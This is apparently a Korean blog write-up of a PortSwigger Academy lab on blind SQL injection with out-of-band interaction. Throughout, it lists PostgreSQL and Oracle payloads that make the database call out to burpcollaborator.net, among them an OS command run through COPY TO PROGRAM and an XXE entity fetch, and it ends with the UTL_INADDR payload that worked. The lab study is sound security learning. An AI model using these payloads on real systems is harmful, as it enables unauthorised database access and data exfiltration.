Dork's port

SQL-injection - Blind SQL injection with out-of-band interaction 본문

portswigger-academy

SQL-injection - Blind SQL injection with out-of-band interaction

Dork94 2020. 7. 14. 16:29
  • out-of-band 를 발생시키면 되는 문제. 즉, 다른곳으로 패킷이 날라가게끔 하면된다.

  • cheat-sheet에 따르면, Oracle은 이미 패치가 되었고 (그러나 아직 이전 버전의 사용자가 많다고 서술하고 있다), MySQL에서는 windows에서만 가능하다고 한다.

  • 우선 이전에 쭉 PostgreSQL을 사용하였으므로 먼저 테스트해보려고 copy (SELECT '') to program 'nslookup burpcollaborator.net' 을 테스트 해보았다. 내가 구축한 DB에서는 정상적으로 동작하지 않았는데 그 이유는 DB를 구동하는 Docker에 nslookup이 없기때문인 것 같다.

  • 그래서 이제 SQL Injection에 동작하는 query를 만들어야하는데 병렬적으로 어떻게 저 쿼리를 실행할 수 있을까..

  • 기본적으로 UNION, ||, or 등을 이용한 병렬적 실행은 되지 않는다.

  • 그래서 SELECT 'a' where False UNION SELECT CASE WHEN True THEN copy (SELECT '') to program 'nslookup burpcollaborator.net' ELSE NULL END; 와 같이 copy 함수가 독립적인 query를 보장받을 것 같은 statement를 만들었는데 이것도 되지 않네..

  • 우선 SELECT 를 사용하는 다른 database를 이용해보기로 했다. 따라서, Oracle DB의 ' UNION SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://burpcollaborator.net/"> %remote]>'),'/l') FROM dual--' SELECT UTL_INADDR.get_host_address('burpcollaborator.net') -- 를 해보았는데 되지 않는다.

  • 다만 첫번째는 500 Err가 리턴된다.

  • Oracle DB를 구축했다..... client를 mac에서 접속하기 위해 블로그에 정리했다. 블로그

  • Oracle DB에서 아래와 같이 에러가 난다. 제대로 동작은 하고있는 것 같은데...

  • SQL> SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual;
    SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual
                        *
    ERROR at line 1:
    ORA-31020: The operation is not allowed, Reason: For security reasons, ftp and
    http access over XDB repository is not allowed on server side
    ORA-06512: at "SYS.XMLTYPE", line 310
    ORA-06512: at line 1
  • ' UNION SELECT UTL_HTTP.REQUEST("http://burpcollaborator.net/") FROM DUAL—
    
    ERROR at line 1:
    ORA-03113: end-of-file on communication channel
    Process ID: 227
    Session ID: 19 Serial number: 140728898420757
    
  • 저것도 안대네~ 내 서버에서는 그래도 뭔가 되는 것 같은데 웹에서는 진행이 안된다.

  • ' UNION SELECT UTL_INADDR.GET_HOST_ADDRESS("http://burpcollaborator.net/")-- 이것도 안돼용~

  • ' UNION SELECT UTL_INADDR.get_host_address('burpcollaborator.net') FROM dual-- 이게 된다. 이건 oracle cheat sheet에서 찾았다.

  • 위와의 차이점을 테스트해보니 ", http://, FROM DUAL 이었다. 음... 마지막껀 이해가 되는데 처음 두개는 이해가 잘안되네..

Comments